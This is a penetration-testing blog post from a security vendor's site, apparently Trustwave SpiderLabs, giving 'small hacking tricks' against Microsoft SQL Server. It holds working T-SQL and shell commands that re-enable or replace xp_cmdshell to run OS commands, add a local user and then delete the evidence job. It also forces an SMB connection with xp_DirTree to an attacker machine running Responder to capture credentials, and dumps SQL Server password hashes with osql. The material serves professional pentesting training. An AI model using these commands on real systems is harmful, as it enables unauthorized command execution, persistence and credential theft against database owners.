Trustwave's 2024 Retail Report Series Highlights Alarming E-Commerce Threats and Growing Fraud Against Retailers. Learn More

Trustwave's 2024 Retail Report Series Highlights Alarming E-Commerce Threats and Growing Fraud Against Retailers. Learn More

Services
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

Database Security

Prevent unauthorized access and exceed compliance requirements.

Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Microsoft Security
Unlock the full power of Microsoft Security
Offensive Security
Solutions to maximize your security ROI
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats

Wendel's Small Hacking Tricks - Microsoft SQL Server Edition

Since 2003 a large part of my workday has been devoted solely to hacking systems. Over this time I've collected tons of tricks and tips that are useful for penetration testing, and plan to write a number of posts to share them. Keep watching SpiderLabs blog! :)

This is the first post in the "Wendel's Small Hacking Tricks" series and is devoted to Microsoft SQL Server Hacking.

 

*** How to execute OS commands when xp_cmdshell was removed AND necessary DLLs deleted ***

You will find tons of references about how to re-enablexp_cmdshell stored procedure if it was disabled. The recent versions of Microsoft SQL Server comes with xp_cmdshell stored procedure disabled by default, and all that you need to do to re-enable is execute the following commands with an administrative account.

EXEC sp_configure 'show advanced options',1;

RECONFIGURE;

EXEC sp_configure 'xp_cmdshell',1;

RECONFIGURE;

But what if xp_cmdshell was removed?

You will need to re-create it usingsp_addextendedproc and the associated DLL. For Microsoft SQL Server 2000 you will need to execute one the following queries:

EXEC sp_addextendedproc 'xp_cmdshell','xplog70.dll'

OR

EXEC sp_addextendedproc xp_cmdshell,'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'

However, if the associated DLL file was deleted you need to find another way. This trick may save you hours of research :)

There are different ways, but I like to use Agent Job feature. I suggest installing sqsh (Linux), or another robust MSSQL client, to execute the following query:

DECLARE @jobID uniqueidentifier, @cmdvarchar(1000)

SET @cmd = 'net user SpiderLabs TW-SPL5562/ADD'

EXEC msdb.dbo.sp_add_job @job_name ='_tmp_MakeDirectory', @enabled = 1,@start_step_id = 1, @owner_login_name='sa', @job_id = @jobID OUTPUT

EXEC msdb.dbo.sp_add_jobstep @job_id = @jobID,@step_name = 'Create Backup Folder', @step_id = 1, @subsystem = 'CMDEXEC',@command = @cmd

EXEC msdb.dbo.sp_add_jobserver @job_id = @jobID

EXEC msdb.dbo.sp_start_job @job_id = @jobID,@output_flag = 0

WAITFOR DELAY '000:00:05'

IF EXISTS (SELECT name FROM msdb.dbo.sysjobsWHERE name = '_tmp_MakeDirectory')

BEGIN

EXECmsdb.dbo.sp_delete_job @job_name = '_tmp_MakeDirectory'

END

go

OK, this code is not simple as callxp_cmdshell, but it will do the same (execute OS commands). Just replace the line "SET @cmd = 'net user SpiderLabs TW-SPL5562 /ADD'" with the command that you want to execute. The example code once executed will create a local user called SpiderLabs and password TW-SPL5562.

 

*** How to escalate privileges on MSSQL via stored procedure + UNC ***

Basically we will setup a rogue SMB authentication server to steal credentials and force the Microsoft SQL Server database to connect to us and leak their credential. You may want to use SMB Relay attack instead, it's up to you.

1) Start Responder Tool(https://github.com/SpiderLabs/Responder) from my friend Laurent Gaffie or whatever you want.

2) Execute the following stored procedure:

EXEC Master.dbo.xp_DirTree"\\YourIP\x",1,1;

You just need to replace "YourIP"with the IP address of the system (attacker machine) running Responder tool.

At this point a SMB connection from Microsoft SQL Server was sent to your IP address (attacker controlled machine).

You may try downgrade attacks to use HALFLM rainbow tables or SMB relay attack to obtain access to another system with this credential.

There are tons of other stored procedures that leak Microsoft SQL Server credential via SMB, but it's your homework. :)

 

*** How to dump local MS-SQL server hashes from a Windows system if you don't have access to this database ***

First of all you need to have administrative access on the Windows system.

From the cmd.exe just type the following command for MSSQL 2000:

osql -E -Q "SELECT name,password frommaster.dbo.sysxlogins"

From the cmd.exe just type the following commandfor MSSQL 2005:

osql -E -Q "SELECT name,password_hash FROMsys.sql_logins"

The tool "osql" is installed with Microsoft SQL Server and the option "-E" will try to authenticate on the database with your current Windows login account.

You are able to execute any command that you want, just to illustrate we dumped the Microsoft SQL Server password hashes.

Microsoft recommends Windows Authentication and consequently this trick will work often. In other words, own the Operating System and obtain win the database as a bonus. :)

I hope you have enjoyed.

Stay tuned for more Wendel's Small Hacking Tricks.

ABOUT TRUSTWAVE

Trustwave is a globally recognized cybersecurity leader that reduces cyber risk and fortifies organizations against disruptive and damaging cyber threats. Our comprehensive offensive and defensive cybersecurity portfolio detects what others cannot, responds with greater speed and effectiveness, optimizes client investment, and improves security resilience. Learn more about us.

Latest Intelligence

Discover how our specialists can tailor a security program to fit the needs of
your organization.

Request a Demo